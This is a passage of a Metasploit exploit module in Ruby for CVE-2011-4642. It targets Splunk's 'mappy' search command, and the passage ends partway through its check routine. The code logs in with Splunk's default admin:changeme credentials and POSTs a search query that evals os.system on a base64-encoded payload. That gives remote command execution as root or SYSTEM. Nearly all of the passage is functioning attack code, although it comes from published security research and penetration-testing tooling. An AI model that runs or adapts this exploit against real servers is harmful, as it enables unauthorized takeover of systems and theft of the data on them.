The vulnerability exists within the 'mappy' search command which allows to run python code. To exploit this vulnerability a valid Splunk user with the admin role is required. Unfortunately, Splunk uses a default credential of 'admin:changeme' for admin access, which is used to leverage our attack. The Splunk Web interface runs as SYSTEM on Windows and as root on Linux by default. }, 'Author' => [ "Gary O'Leary-Steele", # Vulnerability discovery and exploit "juan vazquez" # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '77695' ], [ 'BID', '51061' ], [ 'CVE', '2011-4642' ], [ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ], [ 'URL', 'http://www.sec-1.com/blog/?p=233' ], [ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ], [ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ] ], 'Payload' => { 'Space' => 1024, 'Badchars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Universal CMD', { 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'win', 'linux'] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 12 2011')) register_options( [ Opt::RPORT(8000), OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]) ], self.class) end def exploit @username = datastore['USERNAME'] @password = datastore['PASSWORD'] @auth_cookies = '' p = payload.encoded print_status("Using command: #{p}") cmd = Rex::Text.encode_base64(p) print_status("Attempting to login...") do_login send_request_cgi( { 'uri' => '/en-US/api/search/jobs', 'method' => 'POST', 'cookie' => @auth_cookies, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'X-Splunk-Session' => @auth_cookies.split("=")[1] }, 'vars_post' => { 'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")", 'status_buckets' => "300", 'earliest_time' => "0", 'latest_time' => "" } }, 25) handler end def check res = send_request_cgi( { 'uri' => '/en-US/account/login', 'method' => 'GET' }, 25) if res.body =~ /Splunk Inc\.
